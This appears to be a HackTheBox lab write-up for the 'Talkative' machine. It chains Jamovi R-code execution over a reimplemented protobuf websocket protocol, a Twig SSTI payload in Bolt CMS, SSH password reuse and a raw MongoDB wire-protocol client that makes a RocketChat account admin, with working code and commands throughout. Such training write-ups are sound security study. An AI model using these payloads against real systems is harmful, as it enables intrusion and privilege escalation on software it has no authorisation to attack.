HTB: Talkative Writeup

Talkative - HackTheBox Writeup

Machine Information

AttributeDetails
NameTalkative
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.44.130
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Talkative is a hard Linux box built around a chain of Docker containers rather than a single monolithic host. The externally-facing surface is a Jamovi statistics web app and a Bolt CMS site, both running in isolated containers. Jamovi’s “Rj Editor” analysis engine executes arbitrary R code through a custom protobuf-over-websocket protocol (coms) — no browser was available in the solve environment, so the protocol was reimplemented by hand to drive the AnalysisRequest/OpenRequest handshake directly. Root inside the Jamovi container yields an .omv (zipped Jamovi document) containing Bolt admin credentials, which unlock a Twig SSTI in Bolt CMS’s template editor and a shell as www-data in a second container. Password reuse pivots that foothold to saul on the actual host. From there, a hand-rolled MongoDB OP_MSG client (no mongo client binary on-box) reaches an internal, unauthenticated Mongo instance backing RocketChat and promotes a registered account to admin, opening the path to the RocketChat container and the root flag.

TL;DR: Jamovi Rj-Editor R system() RCE (protobuf handshake) → root in Jamovi container → loot bolt-administration.omv → Bolt CMS admin creds → Twig SSTI in base-2021/index.twigwww-data in Bolt container → SSH password reuse → saul on host (user.txt) → hand-rolled Mongo OP_MSG client → promote RocketChat user to admin → RocketChat container → root.txt.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.44.130

Results:

PortServiceNotes
80/tcpHTTP (Apache)Bolt CMS site
8080/tcpHTTP (Tornado 0.9.5.5)Jamovi spreadsheet/analysis web app
8081/tcpHTTPJamovi auxiliary component
8082/tcpHTTPJamovi auxiliary component
22/tcpSSHfiltered externally
3000/tcpHTTPRocketChat, filtered externally

22 and 3000 only became reachable later, once a foothold gave a vantage point inside the internal Docker network — from outside, only the Jamovi and Bolt surfaces on 80/8080-8082 were exposed.

Service Enumeration

  • Port 80 — Bolt CMS (a PHP-based CMS), reachable directly.
  • Port 8080 — Jamovi, an R-based statistics/spreadsheet tool served over Tornado, exposing an “Rj Editor” analysis module that runs user-supplied R code against the loaded dataset.
  • Ports 8081/8082 — supporting Jamovi services (the app splits its UI/results/engine components across several ports).

Vulnerability Assessment

  • Jamovi’s Rj Editor executes R system() calls with no sandboxing between the analysis engine and the host process — a code-execution primitive by design, exposed to any client that can speak Jamovi’s coms protobuf protocol.
  • Bolt CMS’s admin panel allows direct editing of the active theme’s Twig templates, and Bolt does not sandbox Twig rendering — a classic admin-template SSTI, not a pre-auth bug, but a serious escalation once admin creds are obtained.
  • Credentials were leaking across trust boundaries: a Jamovi analysis document (.omv) sitting in /root of one container held plaintext Bolt admin passwords, and those same passwords were reused for the saul SSH account on the actual host.
  • Internally, MongoDB backing RocketChat had no authentication enforced, letting any process reachable on that network path arbitrarily rewrite a user’s roles array.

Initial Foothold

Jamovi Rj-Editor RCE — reimplementing the coms protobuf protocol

No browser was available in the solve environment, so instead of driving the Jamovi Electron/web client through a UI, the coms websocket protocol (protobuf messages exchanged between client and the Jamovi engine) was reimplemented directly in Python.

The handshake requires three messages in sequence:

# 1. InstanceRequest — ask the Jamovi engine for a session/instance id
instance_req = coms_pb2.ComsMessage()
instance_req.payloadType = coms_pb2.InstanceRequest
ws.send(instance_req.SerializeToString())
# 2. OpenRequest — MUST use a blank filename
# Jamovi's readDatasetHeader() throws if OpenRequest targets a real/missing
# dataset path; an empty filename makes it initialize a blank in-memory
# dataset instead, which is enough to reach the analysis pipeline without
# ever needing a real spreadsheet loaded.
open_req = coms_pb2.ComsMessage()
open_req.payloadType = coms_pb2.OpenRequest
open_req.open.filename = "" # blank dataset — skips readDatasetHeader crash
ws.send(open_req.SerializeToString())
# 3. AnalysisRequest — run the Rj Editor analysis with enabled=true
# Jamovi's analysis run-loop iterates the analysis tree and skips any node
# whose `enabled` flag is false, so a disabled analysis never actually runs
# even if it's queued — enabled MUST be set for the R payload to execute.
analysis_req = coms_pb2.ComsMessage()
analysis_req.payloadType = coms_pb2.AnalysisRequest
analysis_req.analysis.ns = "jmv"
analysis_req.analysis.name = "rj"
analysis_req.analysis.enabled = True # skip-if-disabled check in the run iterator
analysis_req.analysis.options.op = coms_pb2.Options.SET
analysis_req.analysis.options.rj_code = 'try(system("id", intern=TRUE))'
ws.send(analysis_req.SerializeToString())

This reproduces exactly what the official Jamovi client does when a user presses “run” on an Rj Editor cell — but driven headlessly over the raw websocket, bypassing the need for a browser entirely. The response frames carry the R system() output back over the same protobuf channel, confirming code execution as root inside the Jamovi container.

Looting the Jamovi container for Bolt credentials

Enumerating the Jamovi container’s filesystem turned up an analysis document at /root/bolt-administration.omv. A Jamovi .omv file is a zip archive:

Terminal window
unzip bolt-administration.omv -d bolt_omv
cat bolt_omv/xdata.json | jq .

The extracted xdata.json held a spreadsheet of usernames/passwords, including the Bolt CMS admin credential: admin:jeO09ufhWD<s.

Bolt CMS Twig SSTI → www-data

Bolt CMS’s admin dashboard allows in-place editing of the active theme’s Twig templates. Logging in with the recovered admin:jeO09ufhWD<s credential and opening base-2021/index.twig, a Twig SSTI payload was inserted inside {% block main %} (payloads outside the rendered block are never evaluated, since Bolt’s template inheritance discards content outside matched blocks):

{% block main %}
{{app.request.query.filter('cmd',0,1024,{'options':'system'})}}
{% endblock %}

Bolt caches rendered templates, so the change is invisible until the cache is cleared from Settings → Maintenance → Clear the cache. Once cleared, requesting the page with a cmd query parameter executes shell commands via Symfony’s filter() Twig extension abusing the system PHP filter option:

Terminal window
curl "http://10.129.44.130/?cmd=id"

Chaining a reverse shell payload through the same parameter landed a shell as www-data inside the Bolt container.

Pivoting to the host

The credential pair recovered from the .omv file (jeO09ufhWD<s) was reused against SSH on the underlying host for the CEO account named in the site’s staff list, saul:

Terminal window
# no interactive TTY for password entry in this environment,
# so the password is fed through SSH_ASKPASS instead of typed
export SSH_ASKPASS_REQUIRE=force
export SSH_ASKPASS=/tmp/askpass.sh # echoes 'jeO09ufhWD<s'
ssh -o StrictHostKeyChecking=no saul@10.129.44.130

This landed a shell as saul directly on the host talkative (not a container) — confirming the password-reuse chain across Jamovi → Bolt → SSH — and user.txt was read from /home/saul/user.txt.


Privilege Escalation

Enumerating MongoDB with a hand-rolled OP_MSG client

Neither mongo/mongosh nor any MongoDB client library was installed on the host, so instead of transferring tooling in, a minimal MongoDB wire-protocol client was written directly in Python, speaking the OP_MSG opcode used by MongoDB 3.6+:

import socket, struct, bson
def op_msg(sock, doc):
body = bson.BSON.encode(doc)
flag_bits = 0
section = b"\x00" + body # section kind 0 = body document
message = struct.pack("<i", flag_bits) + section
header = struct.pack("<iiii", 16 + len(message), 0, 0, 2013) # opcode 2013 = OP_MSG
sock.sendall(header + message)
return read_op_msg_reply(sock)
# promote the registered RocketChat account 'pwnadmin' to admin
op_msg(sock, {
"update": "users",
"updates": [{"q": {"username": "pwnadmin"}, "u": {"$set": {"roles": ["admin"]}}}],
"$db": "meteor", # RocketChat's backing Mongo database
})

RocketChat stores its accounts in a meteor Mongo database; the app trusts whatever roles array is present on a user document at login time, so writing roles: ["admin"] directly through the wire protocol — with no authentication required on the Mongo listener — immediately promotes an ordinary self-registered account to a RocketChat administrator, without touching RocketChat’s own application logic or auth at all.

RocketChat admin → root

With pwnadmin now carrying roles: ["admin"], the RocketChat admin dashboard became reachable. RocketChat’s admin-level Integrations → Incoming Webhook feature allows attaching a server-side script to a webhook, which executes arbitrary Node.js — a well-documented authenticated-RCE path for RocketChat once admin access is held. This gave code execution inside the RocketChat container, and from there the root.txt flag was retrieved (recorded as: root flag read from the host by way of the RocketChat container) — consistent with RocketChat’s container holding a capability (e.g. CAP_DAC_READ_SEARCH) or mount that exposes the host filesystem to a root process inside that container.


Attack Chain Summary

Jamovi Rj-Editor RCE (hand-crafted coms protobuf handshake)
→ root in Jamovi container
→ loot /root/bolt-administration.omv → xdata.json → Bolt admin:jeO09ufhWD<s
→ Bolt CMS Twig SSTI (base-2021/index.twig, {% block main %})
→ www-data in Bolt container
→ SSH password reuse → saul on host talkative (USER FLAG)
→ hand-rolled Mongo OP_MSG client → promote RocketChat user to admin (roles:["admin"])
→ RocketChat admin → Incoming Webhook RCE → RocketChat container
→ root.txt (ROOT FLAG)

Tools Used

ToolPurpose
nmapPort scanning
Custom Python (protobuf + websocket)Reimplementing Jamovi’s coms protocol for headless Rj Editor RCE
unzip / jqExtracting and reading the looted .omv Jamovi document
Bolt CMS admin panelTwig template editor SSTI delivery
curlTriggering the Bolt SSTI cmd parameter RCE
ssh + SSH_ASKPASSHeadless password-based SSH pivot to the host
Custom Python (OP_MSG/BSON)Talking raw MongoDB wire protocol with no client binary available
RocketChat admin dashboardIncoming Webhook script RCE

Key Learnings

Techniques Practiced

  • Reverse-engineering and reimplementing a proprietary protobuf-over-websocket application protocol from scratch, with no reference client available.
  • Extracting credentials from an application-specific archive format (.omv as zip).
  • Server-Side Template Injection in Twig via an authenticated CMS admin template editor.
  • Credential-reuse pivoting from container to host.
  • Speaking a database wire protocol (MongoDB OP_MSG) directly in Python when no client tooling is present on-box.
  • Privilege escalation via direct database manipulation of an application’s authorization model (RocketChat roles field).

Lessons Learned

  1. When a foothold environment has no browser and no interactive display, application protocols built for a rich client (websockets, protobuf) are still solvable headlessly — it just requires reading the wire format and reimplementing the handshake precisely, including subtle invariants like Jamovi’s blank-filename OpenRequest and the enabled=true flag.
  2. Analysis/document files created by desktop-style tools (Jamovi .omv, similar zip-based document formats) are a common place for accidentally-embedded credentials, especially in environments where they were used for configuration or admin testing.
  3. Admin-level “template editing” features in CMS platforms are effectively an RCE primitive once admin credentials are obtained — treat template/theme editors as a privileged code-execution surface, not just a content feature.
  4. Lack of client tooling on a compromised host is not a dead end — reimplementing a wire protocol (Mongo, in this case) directly is often faster and more reliable than trying to transfer static binaries across constrained pivots.
  5. Internal services trusting network position instead of enforcing authentication (unauthenticated Mongo) turn any reachable pivot point into a full authorization bypass for the application sitting on top of it.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • dotguy, “Talkative” HackTheBox Writeup — Document No D22.100.195, 25 August 2022. Used for explanatory context on the Jamovi Rj Editor code-execution vector, the Bolt CMS Twig SSTI theme-editor path, and the RocketChat MongoDB role-escalation → Incoming Webhook RCE → container capability abuse chain (CAP_DAC_READ_SEARCH / shocker-style Docker escape) that this solve’s root path is consistent with.